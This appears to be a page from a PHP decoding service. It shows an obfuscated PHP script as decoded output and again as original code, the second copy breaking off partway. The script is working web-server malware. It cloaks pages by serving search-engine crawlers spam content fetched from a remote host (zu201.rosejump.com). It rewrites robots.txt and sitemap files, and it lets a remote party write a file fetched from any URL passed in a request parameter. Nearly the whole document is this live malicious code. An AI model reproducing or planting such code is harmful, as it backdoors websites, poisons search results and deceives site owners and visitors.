Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56'; ..

Decoded Output download

<?php $O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56'; 
error_reporting(0); 
$oOOoOooOOooO = "zu201"; 
$oOoOoO = $O[67] . $O[4] . $O[4] . $O[29] . $O[52] . $O[27] . $O[27] . $oOOoOooOOooO . $O[5] . $O[32] . $O[28] . $O[3] . $O[13] . $O[19] . $O[6] . $O[25] . $O[29] . $O[5] . $O[51] . $O[28] . $O[25]; 
$oOOoOoOo = $oOoOoO . $O[27] . $O[19] . $O[6] . $O[25] . $O[29] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29]; 
$oOOoOooO = $oOoOoO . $O[27] . $O[25] . $O[44] . $O[29] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29]; 
$oOOooOOo = $oOoOoO . $O[27] . $O[29] . $O[32] . $O[28] . $O[39] . $O[6] . $O[51] . $O[4] . $O[3] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29]; 
$oOoOOoOo = $_SERVER[$O[18] . $O[65] . $O[64] . $O[37] . $O[65] . $O[62] . $O[12] . $O[61] . $O[37] . $O[18] . $O[72]]; 
$oOOooOOoOoOo = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]]; 
$oOOoOooOOoOo = ((isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[62]]) && $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[62]] !== $O[28] . $O[53] . $O[53]) ? $O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] : $O[67] . $O[4] . $O[4] . $O[29] . $O[52] . $O[27] . $O[27]); 
$oOoOOooOoO = $_SERVER[$O[62] . $O[15] . $O[18] . $O[72] . $O[41] . $O[12] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]]; 
$oOOooOOoOooO = $_SERVER[$O[33] . $O[2] . $O[15] . $O[37] . $O[0] . $O[65] . $O[1] . $O[12] . $O[61] . $O[18] . $O[2] . $O[2] . $O[12]]; 
if ($oOoOOoOo == $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] || $oOOooOOoOoOo == $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20]) 
{ 
    echo $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $oOOoOooOOooO; 
    exit; 
} 
$oOOoOooOoOOo = md5($O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] . $oOOoOooOOooO) . $O[5] . $O[4] . $O[10] . $O[4]; 
if (strtolower($oOoOOooOoO) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29]) 
{ 
    if (strtolower(substr($oOoOOoOo, 0, 10)) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29] || substr($oOoOOoOo, 0, 2) == $O[27] . $O[69] || $oOoOOoOo == $O[27]) 
    { 
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[19] . $O[40] . $O[26] . $O[54]) 
        { 
            @file_put_contents($oOOoOooOoOOo, '0'); 
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20]; 
            exit; 
        } 
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[39] . $O[28] . $O[26] . $O[54]) 
        { 
            @file_put_contents($oOOoOooOoOOo, '1'); 
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20]; 
            exit; 
        } 
        if (is_file($oOOoOooOoOOo)) 
        { 
            if (trim(file_get_contents($oOOoOooOoOOo)) == '0') 
            { 
                $oOoOOo = true; 
            } 
        } 
        else 
        { 
            if (trim(OOO($oOOoOooOOoOo . $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20])) == $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $oOOoOooOOooO) 
            { 
                $oOoOOo = true; 
                @file_put_contents($oOOoOooOoOOo, '0'); 
            } 
        } 
    } 
    else 
    { 
        $oOoOOo = true; 
    } 
} 
if (isset($oOoOOo) && $oOoOOo == true) 
{ 
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27]; 
    $oOoOOoOooO = str_ireplace($O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], '', $oOoOOoOo); 
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[27]); 
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[69]); 
} 
else 
{ 
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $oOoOOooOoO . $O[69]; 
    $oOoOOoOooO = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]]; 
} 
$oOoOOooO = $_SERVER[$O[62] . $O[65] . $O[18] . $O[49] . $O[65] . $O[18] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]]; 
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]]) ? $oOoOoOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]] : $oOoOoOOo = ''; 
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]]) ? $oOoOoOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]] : $oOoOoOoO = ''; 
isset($_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]]) ? $Oo = $_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]] : $Oo = ''; 
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]]) ? $oO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]] : $oO = ''; 
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]]) ? $oOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]] : $oOOo = ''; 
if (isset($_GET[$O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]]) && stripos($oOoOoOoO, $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13])) 
{ 
    file_put_contents($oOOooOOoOooO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29], OOO($_GET[$O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]])); 
    copy($oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], $oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[61] . $O[50] . $O[44] . $O[20] . $O[5] . $O[4] . $O[10] . $O[4]); 
    echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20]; 
    exit; 
} 
$oOoOOooOOo = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[25]; 
$oOOooOoOoO = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54]; 
$oOOoOooOoO = array( 
    $O[54] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOOoOooOOooO, 
    $O[25] . $O[44] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOoOOoOooO, 
    $O[29] . $O[39] . $O[61] . $O[29] . $O[44] . $O[4] . $O[67] => $oOoOOoOooO, 
    $O[3] . $O[67] . $O[13] . $O[24] . $O[24] => $oOoOOooO, 
    $O[67] . $O[4] . $O[4] . $O[29] => $oOOoOooOOoOo, 
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[67] . $O[28] . $O[3] . $O[4] => $oOOooOoO, 
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[32] . $O[13] . $O[53] . $O[13] . $O[32] . $O[13] . $O[32] => $oOoOoOOo, 
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[6] . $O[3] . $O[13] . $O[32] . $O[61] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] => $oOoOoOoO, 
    $O[32] . $O[13] . $O[25] . $O[28] . $O[4] . $O[13] . $O[61] . $O[44] . $O[39] . $O[39] . $O[32] => $Oo, 
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[10] . $O[61] . $O[53] . $O[28] . $O[32] . $O[8] . $O[44] . $O[32] . $O[39] . $O[13] . $O[39] . $O[61] . $O[53] . $O[28] . $O[32] => $oO, 
    $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[44] . $O[51] . $O[51] . $O[13] . $O[29] . $O[4] . $O[61] . $O[24] . $O[44] . $O[26] . $O[54] . $O[6] . $O[44] . $O[54] . $O[13] => $oOOo 
); 
function OOO($oOOoOoOoOo) 
{ 
    $oOOoOoOooO = curl_init(); 
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo); 
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($oOOoOoOooO, CURLOPT_CONNECTTIMEOUT, 5); 
    $oOOoOooOOo = curl_exec($oOOoOoOooO); 
    curl_close($oOOoOoOooO); 
    if (empty(trim($oOOoOooOOo))) 
    { 
        $oOOoOooOOo = file_get_contents($oOOoOoOoOo); 
    } 
    return $oOOoOooOOo; 
} 
function OOOOO($oOOoOoOoOo, $oOOoOooOoO = array()) 
{ 
    $oOOoOoOooO = curl_init(); 
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo); 
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1); 
    curl_setopt($oOOoOoOooO, CURLOPT_HEADER, 0); 
    curl_setopt($oOOoOoOooO, CURLOPT_TIMEOUT, 10); 
    curl_setopt($oOOoOoOooO, CURLOPT_POST, 1); 
    curl_setopt($oOOoOoOooO, CURLOPT_POSTFIELDS, http_build_query($oOOoOooOoO)); 
    $oOOoOooOOo = curl_exec($oOOoOoOooO); 
    $oOOooOOoOo = curl_errno($oOOoOoOooO); 
    curl_close($oOOoOoOooO); 
    if ($oOOooOOoOo !== 0) 
    { 
        $oOOoOooOOo = ''; 
    } 
    if (empty(trim($oOOoOooOOo))) 
    { 
        $oOOooOOooOOo = array( 
            'http' => array( 
                'method' => 'POST', 
                'header' => 'Content-type:application/x-www-form-urlencoded', 
                'content' => http_build_query($oOOoOooOoO) 
            ) 
        ); 
        $oOOooOOooOoO = stream_context_create($oOOooOOooOOo); 
        $oOOoOooOOo = file_get_contents($oOOoOoOoOo, false, $oOOooOOooOoO); 
    } 
    return $oOOoOooOOo; 
} 
if (strpos($oOoOOoOo, $O[5] . $O[10] . $O[25] . $O[24])) 
{ 
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO); 
    if (empty($oOoOoOoOoO)) 
    { 
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]); 
        exit; 
    } 
    if ($oOoOOoOooO == $O[29] . $O[40] . $O[26] . $O[54] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[5] . $O[10] . $O[25] . $O[24]) 
    { 
        $oOOoOoOoOoOo = explode("
", $oOoOoOoOoO); 
        $oOOooOOooO = $O[37] . $O[3] . $O[13] . $O[32] . $O[30] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] . $O[52] . $O[35] . PHP_EOL; 
        $oOOooOOooO .= $O[57] . $O[24] . $O[24] . $O[28] . $O[8] . $O[52] . $O[27] . PHP_EOL; 
        for ($oOOoOoOooOoO = 0;$oOOoOoOooOoO < count($oOOoOoOoOoOo) - 1;$oOOoOoOooOoO++) 
        { 
            $oOOoOoOooOOo = OOO($O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] . $O[8] . $O[8] . $O[8] . $O[5] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[27] . $O[29] . $O[40] . $O[26] . $O[54] . $O[69] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[38] . $oOOoOoOoOoOo[$oOOoOoOooOoO]); 
            preg_match("/<h2>(.+)?<\/h2>/", $oOOoOoOooOOo, $oOOoOoOoOooO); 
            echo $oOOoOoOoOoOo[$oOOoOoOooOoO] . $O[38] . $O[38] . $O[70] . $O[29] . $O[40] . $O[26] . $O[54] . $O[30] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[30] . $O[32] . $O[13] . $O[3] . $O[6] . $O[24] . $O[4] . $O[30] . $O[40] . $O[3] . $O[52] . $O[9] . $O[50] . $O[70] . $oOOoOoOoOooO[1] . $O[9] . $O[27] . $O[50] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . PHP_EOL; 
            usleep(100000); 
            $oOOooOOooO .= $O[62] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[52] . $oOOoOoOoOoOo[$oOOoOoOooOoO] . PHP_EOL; 
        } 
        file_put_contents($oOOooOOoOooO . $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4], $oOOooOOooO); 
        echo $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4] . $O[38] . $O[38] . $O[70] . $O[9] . $O[50] . $O[70] . $O[6] . $O[29] . $O[39] . $O[44] . $O[4] . $O[13] . $O[39] . $O[9] . $O[27] . $O[50] . $O[70]; 
    } 
    else 
    { 
        header($O[15] . $O[28] . $O[26] . $O[4] . $O[13] . $O[26] . $O[4] . $O[30] . $O[4] . $O[11] . $O[29] . $O[13] . $O[52] . $O[4] . $O[13] . $O[10] . $O[4] . $O[27] . $O[10] . $O[25] . $O[24]); 
        echo $oOoOoOoOoO; 
    } 
    exit; 
} 
elseif (strpos($oOoOOoOo, $O[19] . $O[29] . $O[17] . $O[56] . $O[17] . $O[59]) || $oOoOOoOo == $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4]) 
{ 
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO); 
    if (empty($oOoOoOoOoO)) 
    { 
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]); 
        exit; 
    } 
    echo $oOoOoOoOoO; 
    exit; 
} 
else 
{ 
    if ($oOoOoOoO != '' && preg_match('/(' . $oOOooOoOoO . ')/si', $oOoOoOoO)) 
    { 
        $oOoOoOOoOo = OOOOO($oOOooOOo, $oOOoOooOoO); 
        empty($oOoOoOOoOo) ? header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]) : print $oOoOoOOoOo; 
        exit; 
    } 
    else 
    { 
        if ($oOoOoOOo != '' && preg_match('/(' . $oOoOOooOOo . ')/si', $oOoOoOOo)) 
        { 
            $oOoOoOOooO = OOOOO($oOOoOoOo, $oOOoOooOoO); 
            if (!empty($oOoOoOOooO)) 
            { 
                echo $oOoOoOOooO; 
                exit; 
            } 
        } 
    } 
} ?> 

Did this file decode correctly?

Original Code

<?php $O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';
error_reporting(0);
$oOOoOooOOooO = "zu201";
$oOoOoO = $O[67] . $O[4] . $O[4] . $O[29] . $O[52] . $O[27] . $O[27] . $oOOoOooOOooO . $O[5] . $O[32] . $O[28] . $O[3] . $O[13] . $O[19] . $O[6] . $O[25] . $O[29] . $O[5] . $O[51] . $O[28] . $O[25];
$oOOoOoOo = $oOoOoO . $O[27] . $O[19] . $O[6] . $O[25] . $O[29] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29];
$oOOoOooO = $oOoOoO . $O[27] . $O[25] . $O[44] . $O[29] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29];
$oOOooOOo = $oOoOoO . $O[27] . $O[29] . $O[32] . $O[28] . $O[39] . $O[6] . $O[51] . $O[4] . $O[3] . $O[61] . $O[13] . $O[26] . $O[54] . $O[40] . $O[26] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29];
$oOoOOoOo = $_SERVER[$O[18] . $O[65] . $O[64] . $O[37] . $O[65] . $O[62] . $O[12] . $O[61] . $O[37] . $O[18] . $O[72]];
$oOOooOOoOoOo = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]];
$oOOoOooOOoOo = ((isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[62]]) && $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[62]] !== $O[28] . $O[53] . $O[53]) ? $O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] : $O[67] . $O[4] . $O[4] . $O[29] . $O[52] . $O[27] . $O[27]);
$oOoOOooOoO = $_SERVER[$O[62] . $O[15] . $O[18] . $O[72] . $O[41] . $O[12] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]];
$oOOooOOoOooO = $_SERVER[$O[33] . $O[2] . $O[15] . $O[37] . $O[0] . $O[65] . $O[1] . $O[12] . $O[61] . $O[18] . $O[2] . $O[2] . $O[12]];
if ($oOoOOoOo == $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] || $oOOooOOoOoOo == $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20])
{
    echo $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $oOOoOooOOooO;
    exit;
}
$oOOoOooOoOOo = md5($O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] . $oOOoOooOOooO) . $O[5] . $O[4] . $O[10] . $O[4];
if (strtolower($oOoOOooOoO) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29])
{
    if (strtolower(substr($oOoOOoOo, 0, 10)) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29] || substr($oOoOOoOo, 0, 2) == $O[27] . $O[69] || $oOoOOoOo == $O[27])
    {
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[19] . $O[40] . $O[26] . $O[54])
        {
            @file_put_contents($oOOoOooOoOOo, '0');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[39] . $O[28] . $O[26] . $O[54])
        {
            @file_put_contents($oOOoOooOoOOo, '1');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if (is_file($oOOoOooOoOOo))
        {
            if (trim(file_get_contents($oOOoOooOoOOo)) == '0')
            {
                $oOoOOo = true;
            }
        }
        else
        {
            if (trim(OOO($oOOoOooOOoOo . $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20])) == $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $oOOoOooOOooO)
            {
                $oOoOOo = true;
                @file_put_contents($oOOoOooOoOOo, '0');
            }
        }
    }
    else
    {
        $oOoOOo = true;
    }
}
if (isset($oOoOOo) && $oOoOOo == true)
{
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27];
    $oOoOOoOooO = str_ireplace($O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], '', $oOoOOoOo);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[27]);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[69]);
}
else
{
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $oOoOOooOoO . $O[69];
    $oOoOOoOooO = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]];
}
$oOoOOooO = $_SERVER[$O[62] . $O[65] . $O[18] . $O[49] . $O[65] . $O[18] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]];
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]]) ? $oOoOoOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]] : $oOoOoOOo = '';
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]]) ? $oOoOoOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]] : $oOoOoOoO = '';
isset($_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]]) ? $Oo = $_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]] : $Oo = '';
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]]) ? $oO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]] : $oO = '';
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]]) ? $oOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]] : $oOOo = '';
if (isset($_GET[$O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]]) && stripos($oOoOoOoO, $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]))
{
    file_put_contents($oOOooOOoOooO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29], OOO($_GET[$O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]]));
    copy($oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], $oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[61] . $O[50] . $O[44] . $O[20] . $O[5] . $O[4] . $O[10] . $O[4]);
    echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
    exit;
}
$oOoOOooOOo = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[25];
$oOOooOoOoO = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54];
